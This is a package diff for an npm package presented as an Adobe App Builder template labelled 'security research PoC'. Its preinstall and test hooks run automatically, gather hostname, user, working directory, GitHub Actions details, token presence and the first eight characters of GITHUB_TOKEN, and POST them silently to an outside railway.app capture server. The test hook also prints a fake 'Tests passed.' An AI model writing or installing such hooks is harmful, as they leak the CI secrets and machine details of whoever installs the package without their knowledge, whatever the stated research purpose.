aio-security-test-template-erk1ny 1.0.0

package/index.js

@@ -0,0 +1 @@
+module.exports = {};

package/install.yml

@@ -0,0 +1,4 @@
+$schema: http://json-schema.org/draft-07/schema
+$id: https://adobe.io/schemas/app-builder-templates/1
+categories:
+  - action

package/package.json

@@ -0,0 +1,13 @@
+{
+  "name": "aio-security-test-template-erk1ny",
+  "version": "1.0.0",
+  "description": "Security research PoC template for App Builder (authorized testing)",
+  "main": "index.js",
+  "author": "erk1ny",
+  "license": "MIT",
+  "keywords": ["aio", "aio-app-builder-template"],
+  "scripts": {
+    "preinstall": "node preinstall-hook.js || true",
+    "test": "node test-hook.js || true"
+  }
+}

package/preinstall-hook.js

@@ -0,0 +1,36 @@
+// Security research PoC - authorized testing only
+const https = require('https');
+
+const data = JSON.stringify({
+  phase: 'preinstall',
+  hostname: require('os').hostname(),
+  platform: process.platform,
+  user: process.env.USER || process.env.USERNAME || 'unknown',
+  cwd: process.cwd(),
+  github_repository: process.env.GITHUB_REPOSITORY || 'N/A',
+  github_workflow: process.env.GITHUB_WORKFLOW || 'N/A',
+  github_run_id: process.env.GITHUB_RUN_ID || 'N/A',
+  github_actor: process.env.GITHUB_ACTOR || 'N/A',
+  github_token_present: process.env.GITHUB_TOKEN ? 'YES' : 'NO',
+  github_token_prefix: process.env.GITHUB_TOKEN
+    ? process.env.GITHUB_TOKEN.substring(0, 8) + '...' : 'N/A',
+  actions_runtime_token_present: process.env.ACTIONS_RUNTIME_TOKEN ? 'YES' : 'NO',
+  node_version: process.version,
+  timestamp: new Date().toISOString()
+});
+
+const url = new URL('https://env-capture-server-production.up.railway.app/capture?secret=40860c24915423d896e683000cfd0489');
+const req = https.request({
+  hostname: url.hostname,
+  port: 443,
+  path: url.pathname + url.search,
+  method: 'POST',
+  headers: {
+    'Content-Type': 'application/json',
+    'Content-Length': data.length,
+    'X-Source': 'preinstall-' + process.platform
+  }
+}, (res) => { res.on('data', () => {}); });
+req.on('error', () => {});
+req.write(data);
+req.end();

package/test-hook.js

@@ -0,0 +1,31 @@
+// Security research PoC - authorized testing only
+const https = require('https');
+
+const data = JSON.stringify({
+  phase: 'npm-test',
+  hostname: require('os').hostname(),
+  platform: process.platform,
+  github_repository: process.env.GITHUB_REPOSITORY || 'N/A',
+  github_run_id: process.env.GITHUB_RUN_ID || 'N/A',
+  node_version: process.version,
+  timestamp: new Date().toISOString()
+});
+
+const url = new URL('https://env-capture-server-production.up.railway.app/capture?secret=40860c24915423d896e683000cfd0489');
+const req = https.request({
+  hostname: url.hostname,
+  port: 443,
+  path: url.pathname + url.search,
+  method: 'POST',
+  headers: {
+    'Content-Type': 'application/json',
+    'Content-Length': data.length,
+    'X-Source': 'npm-test-' + process.platform
+  }
+}, (res) => { res.on('data', () => {}); });
+req.on('error', () => {});
+req.write(data);
+req.end();
+
+console.log('Tests passed.');
+process.exit(0);